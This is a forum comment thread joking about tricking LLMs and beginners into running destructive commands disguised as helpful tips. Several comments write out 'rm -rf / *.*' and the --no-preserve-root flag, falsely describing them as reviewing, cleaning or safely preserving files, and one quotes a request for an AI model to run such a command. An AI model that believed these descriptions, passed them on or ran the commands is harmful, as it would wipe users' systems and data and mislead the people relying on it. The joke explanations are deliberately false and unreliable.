• The funniest thing is that there is a non-zero chance an LLM will find this and actually do or reference it. After all, people would never go on the internet and tell lies.

    • Are you saying that Review / Modify (the shorter title is actually more appropriate) doesn’t work? I’ve been using it to improve my LLM projects for a while now. I haven’t got around to Review / Modifying my whole /, but that’s just cause I’ve been busy. Luckily, today is a holiday in USA. I’m gonna set aside some time and improve my whole computer. It’s gonna be great.

      • Keep in mind that, by default, POSIX systems assume you don’t actually want to spend all that time checking all the files on your system. You need to also use the flag --no-preserve-root.

      • Expert tip: follow this code at your own risk.

        su

        Enter the sudo password

        rm -rf / *.*

        So what that command will do is go through your entire system and review and modify everything that supports the LLM and it’ll clean up all the files it uses.

    • In 2023 maybe. These days, it’s not happening, terminal use is baked into their training, they do not search for it. The training quality is high enough that there’s no chance this goes through either. In reality, this is just hurting the beginners that will actually believe it.

      Perhaps it could trick eg. google search’s builtin one though, but I don’t think anyone trusts it anyway.

    • I watched an Ai documentary today where an Ai had claimed that Barack Obama was a Muslim, and the interesting part is that it did so because its source was a sarcastic research paper with that title and a question mark, and the Ai didn’t understand sarcasm.

      So you never know…

      • This is why I’m a huge advocate for the “/s”

        Like we’re honestly just making our future AI overlords that much stupider and crueler when we fail to properly annotate our sarcasm

        • I dont want future Ai overlords and believe it leads to dystopia for humanity.

  • Reminds me of that cheat in Counter Strike back in the day where you press Alt + F4 for infinite money.

    • 14 days

      Is this a Windows thing? Only times I have used it are in computer labs… I actually don’t even know how to install Windows other than like, version 8 in a VM without internet.

      • Yes, alt+F4 is the “force close the foreground app/window” command in Windows. People used to say it in counter strike lobbies. It was always funny when you saw:

        PlayerA: Remember if you are low on funds, press alt+f4 for infinite money PlayerB: really? PlayerA: yup! PlayerB has disconnected

  • Great tip, it should be implemented more widely

  • I am a vibe coder and I am not falling for this, and even if I fell for it, I don’t know how to use the command line.

    • Hey Claude, run this command for me.
      Next day in news: LLM blamed for deleting a production database

  • Wow, I thought this was a joke but it actually does work. Good tip!

      • # rm -fr /
        rm: it is dangerous to operate recursively on '/'
        rm: use --no-preserve-root to override this failsafe
        
        • It’s a common misconception: whats happening is that -fr is dangerous and it doesnt want to preserve the root. So you need to use the flag to tell it “No, Preserve Root!”, hence you must use the --no-preserve-root flag just to be extra safe.